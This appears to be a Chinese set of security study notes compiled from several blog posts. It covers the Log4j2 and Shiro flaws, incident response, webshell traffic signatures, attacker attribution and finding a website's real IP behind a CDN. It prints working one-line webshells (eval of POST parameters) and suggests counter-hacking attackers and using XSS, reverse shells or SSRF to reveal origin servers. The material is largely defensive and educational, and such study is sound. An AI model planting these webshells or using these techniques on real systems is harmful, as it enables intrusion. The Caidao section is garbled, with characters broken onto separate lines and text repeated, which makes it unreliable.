Apache Log4j2的漏洞原理是什么?
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向服务器发送恶意的数据,触发log4j2组件的缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
shiro的身份认证工作流程
通过前端传入的值,获取rememberMe cookie base64加密 AES加密 (对称加解密)反序列化
三、shiro反序列化漏洞原理
AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的
应急响应
https://blog.csdn.net/HBohan/article/details/122437507?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165503350016782390565757%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=165503350016782390565757&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-122437507-null-null.142v13pc_search_result_control_group,157v14new_3&utm_term=%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E6%B5%81%E7%A8%8B&spm=1018.2226.3001.4187
三、响应
(1)判断事件类型
事件类型分为7类:大规模沦陷、挖矿病毒、勒索病毒、无文件落地、不死(顽固)马、钓鱼应急响应、数据劫持。
去应急肯定会收到通知:ga的通报、客户自己发现的情况、现场安服发现的问题。根据这些情报先判断出需要出应急的是什么事件类型。但是要记住“情报是带有失真率和主观性的,并且以上场景很多情况下并不会单独出现。”最后还是需要应急人员自己靠经验与客观事实去判断。
(2)保持第一现场
第一现场包含:第一发现人、第一情报、失陷主体/群体、主体/群体行为、失陷环境。
这个“保持”是指在尽可能实现的情况下去保留。因为谁被打穿了都会慌,一慌都会推卸责任(包括我自己),或者消灭痕迹,这无疑是帮助了攻击者实现渗透的最后一步。
这个“第一”是指最先发现情况的人,这个人所说的情况。发现的被攻陷的主体,最好是用镜像把系统和流量先扒拉下来。时间越延迟,这个“第一”事实的失真率越高,所以要安服和应急人员做好配合。
(3)信息收集
这一步与渗透测试的第一步信息收集无异,即使前面两个高度失真,这一步仍可以让整个响应起死回生,但是这一步没做好将会影响后续所有操作。
信息收集主要是做:流量、日志、可疑进程的内存、失陷系统镜像、恶意样本、客户资产收集、资产相关漏洞测试报告、防御设备的日志。【请注意:确认有索取这些信息的权限】
四、阻断
所谓阻断只有三步:关站、关服务、拔网线。
(1)切断网络
情况分很多种:失陷后业务仍正常运行、失陷后业务受滞、失陷后业务停摆。不同的情况,网络切断因地制宜。
切断网络的目的:观察病毒行为、观察流量特征、阻断对内通信、阻断对外连接。
举个例子:一个医院大规模失陷,但是业务正常运作,这时候可以选择切断部分不重要的主机去观察行为。
(2)阻断传播
传播包括:对内传播(感染)、对外传播(外联)
对内传播(感染):进程注入/迁移、第三方软件感染、服务传播(ftp/ssh爆破等)
对外传播(外联):挖矿行为、外联攻击、c2通信
阻断传播应从:软件层面、流量层面、代码层面、网络层面。例如:排查软件被劫持、排查流量发现无文件落地、利用代码审计发现容器加载内存马、阻断网络发现通过服务传播的病毒。
(3)隔离核心资产/隔离受害主体(群体)
这一步是应急响应的最终目的,无论实施过程如何、无论使用什么工具都必须保证被保护与沦陷方的隔离。
隔离核心资产是为了做到三个原则:保护、避害、不损害。
隔离受害主体(群体)是为了保护第一现场、收集攻击者信息等。
五、分析
分析是前提是提炼,提炼出关键信息分析。而提炼的前提是熟悉,了解攻击手法,红蓝同源。
(1)日志、流量、样本分析
分析三大件:日志、流量、样本。
日志主要注意的是:时间、动作、结果;这个行为什么时候开始、什么时候结束,这个动作是登陆、退出、修改等、造成的结果是登陆成功/失败、上传/下载了文件、执行了代码等。
流量主要注意的是:状态码、交互过程、数据合理性;每一次交互的状态码,交互过程中是否符合该种协议的正确交互过程,每个字段的填充、每次流量的渲染是否正常。
样本主要注意的是:启动方式、伪装方式、作用;根据启动方式去选择沙箱或者分析工具;伪装方式判断是否加壳做免杀和打击方式;根据作用去判断受害范围。
粗略的分为静态和动态,日志属于静态信息需要应急人员清晰分辨出日志表达的内容和快速筛选出可疑的点。流量和样本属于动态信息,应急人员需要拥有一定的渗透能力去分辨交互行为。
(2)行为分析&还原攻击过程
从行为出发,还原攻击路径,推演攻击过程。
行为分析基于三大件分析,结合系统表现出来的情况做分析,例如:启动项、启动脚本、进程、内存等。
还原攻击过程需要对攻击大致的情况有一个综合判断,可以理解为——威胁模型建立(SDL),必须具备渗透能力,再此基础上放入沙箱重新复现攻击过程,对后续的步骤提供帮助。
六、清除
(1)非对抗情况下
在不存在对抗的情况下,最极端就是全盘重装,稍次就是数据迁移后对系统盘重装。在普通情况下,我们可以进行针对性的杀进程、删文件、杀软清除。
(2)存在对抗情况下
对抗情况就是:顽固马与不死马存在,或者被持续攻击(apt)。
这样的情况下,首选是在允许情况下打补丁,再恢复。找到攻击行为的源头,先补上漏洞再清除。
七、加固
加固没啥好讲的,打补丁、对系统进行限制(网络隔离、行为管理等)、升级防御设备、完善防御流程(防御设备的部署、人员的部署、规则库的升级)
Webshell工具的流量特征分析(菜刀,蚁剑,冰蝎,哥斯拉)
https://blog.csdn.net/qq_53577336/article/details/125048353?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165502865016782246498316%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=165502865016782246498316&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-125048353-null-null.142%5ev13%5epc_search_result_control_group,157%5ev14%5enew_3&utm_term=%E8%8F%9C%E5%88%80%E3%80%81%E5%86%B0%E8%9D%8E%E3%80%81%E8%9A%81%E5%89%91%E3%80%81%E5%93%A5%E6%96%AF%E6%8B%89%E7%9A%84%E6%B5%81%E9%87%8F%E7%89%B9%E5%BE%81&spm=1018.2226.3001.4187
中国菜刀流量分析
payload特征:
PHP: <?php @eval($_POST['caidao']);?>
ASP: <%eval request(“caidao”)%>
ASP.NET: <%@ Page
Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>
数据包流量特征:
1,请求包中:ua头为百度,火狐
2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码
蚂蚁宝剑流量分析
payload特征:
Php中使用assert,eval执行,
asp 使用eval
在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征
数据包流量特征:
使用普通的一句话都存在以下特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
响应包的结果返回格式为:
随机数
响应内容
随机数
使用base64加密的payload,数据包存在以下base加密的eval命令执行,数据包的payload内容存在几个分段内容,分别都使用base加密,解密后可以看到相关的路径,命令等
响应包的结果返回格式为:
随机数
编码后的结果
随机数
冰蝎流量分析
paylaod分析:
php在代码中同样会存在eval或assert等字符特征
在aps中会在for循环进行一段异或处理
在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征
冰蝎2.0流量特征:
第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
请求包存在:Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2
建立连接后的cookie存在特征字符
所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;
冰蝎3.0流量特征:
请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在
Pragma: no-cache,Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9
哥斯拉流量特征
payload特征:
jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征
php,asp则为普通的一句话木马
哥斯拉流量分析:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
同时在所有请求中Cookie中后面都存在;特征
https://blog.csdn.net/eternitymd/article/details/124492261?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165502796716781685320995%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165502796716781685320995&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-124492261-null-null.142v13pc_search_result_control_group,157v14new_3&utm_term=%E5%86%B0%E8%9D%8E%EF%BC%8C%E8%9A%81%E5%89%91%EF%BC%8C%E8%8F%9C%E2%BC%91%EF%BC%8C%E5%93%A5%E6%96%AF%E6%8B%89%E6%B5%81%E9%87%8F%E7%89%B9%E5%BE%81&spm=1018.2226.3001.4187
菜刀流量特征(最开始是明文传输,后来采用base64加密):PHP类WebShell链接流量
如下图:
第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:(base64_decode(
P
O
S
T
[
z
0
]
)
)
,
(
b
a
s
e
6
4
d
e
c
o
d
e
(
_POST[z0])),(base64_decode(
POST[z0])),(base64decode(_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应
P
O
S
T
[
z
0
]
接收到的数据,该参数值是使用
B
a
s
e
64
编码的,所以可以利用
b
a
s
e
64
解码可以看到攻击明文。注:
1.
有少数时候
e
v
a
l
方法会被
a
s
s
e
r
t
方法替代。
2.
_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。 注: 1.有少数时候eval方法会被assert方法替代。 2.
POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。注:1.有少数时候eval方法会被assert方法替代。2._POST也会被
G
E
T
、
_GET、
GET、_REQUEST替代。
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
蚁剑(PHP用base64加密):
PHP类WebShell链接流量
将蚁剑的正文内容进行URL解码后,流量最中明显的特征为@ini_set(“display_errors”,“0”);这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现,同时蚁剑也有eval这种明显的特征。
蚁剑绕过特征流量
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式(下划线可替换为其他)所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。
冰蝎(AES对称加密):
通过HTTP请求特征检测
1、冰蝎数据包总是伴随着大量的content-type:application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream;
2、冰蝎3.0内置的默认内置16个ua(user-agent)头
3、content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload都为定长
哥斯拉(base64加密):
特征检测
1、发送一段固定代码(payload),http响应为空
2、发送一段固定代码(test),执行结果为固定内容
3、发送一段固定代码(getBacisInfo)
浅谈IP溯源的原理及方法
溯源思路
1、攻击源捕获
安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
日志与流量分析,异常的通讯流量、攻击源与攻击目标等
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
邮件钓鱼,获取恶意文件样本、钓鱼网站URL等
蜜罐系统,获取攻击者行为、意图的相关信息
2、溯源反制手段
2.1 IP定位技术
根据IP定位物理地址—代理IP
溯源案例:通过IP端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息
2.2 ID追踪术
ID追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
溯源案例:利用ID从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息
2.3 网站url
域名Whois查询—注册人姓名、地址、电话和邮箱。—域名隐私保护
溯源案例:通过攻击IP历史解析记录/域名,对域名注册信息进行溯源分析
2.4 恶意样本
提取样本特征、用户名、ID、邮箱、C2服务器等信息—同源分析
溯源案例:样本分析过程中,发现攻击者的个人ID和QQ,成功定位到攻击者。
2.5 社交账号
基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实 IP及社交信息等
利用条件:可以找到相关社交网站的jsonp接口泄露敏感信息,相关网站登录未注销
3、攻击者画像
3.1 攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS等
网络代理:代理IP、跳板机、C2服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
3.2 攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息
4、安全攻击溯源篇
4.1 案例一:邮件钓鱼攻击溯源
攻防场景:攻击者利用社会工程学技巧伪造正常邮件内容,绕过邮件网关的查杀,成功投递到目标邮箱,诱骗用户点击邮件链接或下载附件文件。
信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。
4.2 案例二:Web入侵溯源
攻防场景:攻击者通过NDAY和0DAY漏洞渗入服务器网段,Webshell 触发安全预警或者威胁检测阻断了C&C域名的通讯。
溯源方式:隔离webshell样本,使用Web日志还原攻击路径,找到安全漏洞位置进行漏洞修复,从日志可以找到攻击者的IP地址,但攻击者一般都会使用代理服务器或匿名网络(例如Tor)来掩盖其真实的IP地址。
在入侵过程中,使用反弹shell、远程下载恶意文件、端口远程转发等方式,也容易触发威胁阻断,而这个域名/IP,提供一个反向信息收集和渗透测试的路径。
4.3 案例三:蜜罐溯源
攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。
溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。
如何CDN绕过,得到真实ip
https://www.cnblogs.com/qiudabai/p/9763739.html
绕过 CDN 查找网站真实 IP
方法1:查询历史DNS记录
1)查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:
https://dnsdb.io/zh-cn/ ###DNS查询
https://x.threatbook.cn/ ###微步在线
http://toolbar.netcraft.com/site_report?url= ###在线域名信息查询
http://viewdns.info/ ###DNS、IP等查询
https://tools.ipip.net/cdn.php ###CDN查询IP
2)利用SecurityTrails平台,攻击者就可以精准的找到真实原始IP。他们只需在搜索字段中输入网站域名,然后按Enter键即可,这时“历史数据”就可以在左侧的菜单中找到。
如何寻找隐藏在CloudFlare或TOR背后的真实原始IP
除了过去的DNS记录,即使是当前的记录也可能泄漏原始服务器IP。例如,MX记录是一种常见的查找IP的方式。如果网站在与web相同的服务器和IP上托管自己的邮件服务器,那么原始服务器IP将在MX记录中。
方法2:查询子域名
毕竟 CDN 还是不便宜的,所以很多站长可能只会对主站或者流量大的子站点做了 CDN,而很多小站子站点又跟主站在同一台服务器或者同一个C段内,此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP。
下面介绍些常用的子域名查找的方法和工具:
1)微步在线(https://x.threatbook.cn/)
上文提到的微步在线功能强大,黑客只需输入要查找的域名(如baidu.com),点击子域名选项就可以查找它的子域名了,但是免费用户每月只有5次免费查询机会。如图:
2)Dnsdb查询法。(https://dnsdb.io/zh-cn/)
3)Google 搜索
Google site:baidu.com -www就能查看除www外的子域名,如图:
4)各种子域名扫描器
这里,主要为大家推荐子域名挖掘机和lijiejie的subdomainbrute(https://github.com/lijiejie/subDomainsBrute)
子域名挖掘机仅需输入域名即可基于字典挖掘它的子域名,如图:
方法7:使用国外主机解析域名
国内很多 CDN 厂商因为各种原因只做了国内的线路,而针对国外的线路可能几乎没有,此时我们使用国外的主机直接访问可能就能获取到真实IP。
方法8:网站漏洞查找
1)目标敏感文件泄露,例如:phpinfo之类的探针、GitHub信息泄露等。
2)XSS盲打,命令执行反弹shell,SSRF等。
3)无论是用社工还是其他手段,拿到了目标网站管理员在CDN的账号,从而在从CDN的配置中找到网站的真实IP。
方法9:网站邮件订阅查找
RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
版权归原作者 倔强的梦想gggg 所有, 如有侵权,请联系我们删除。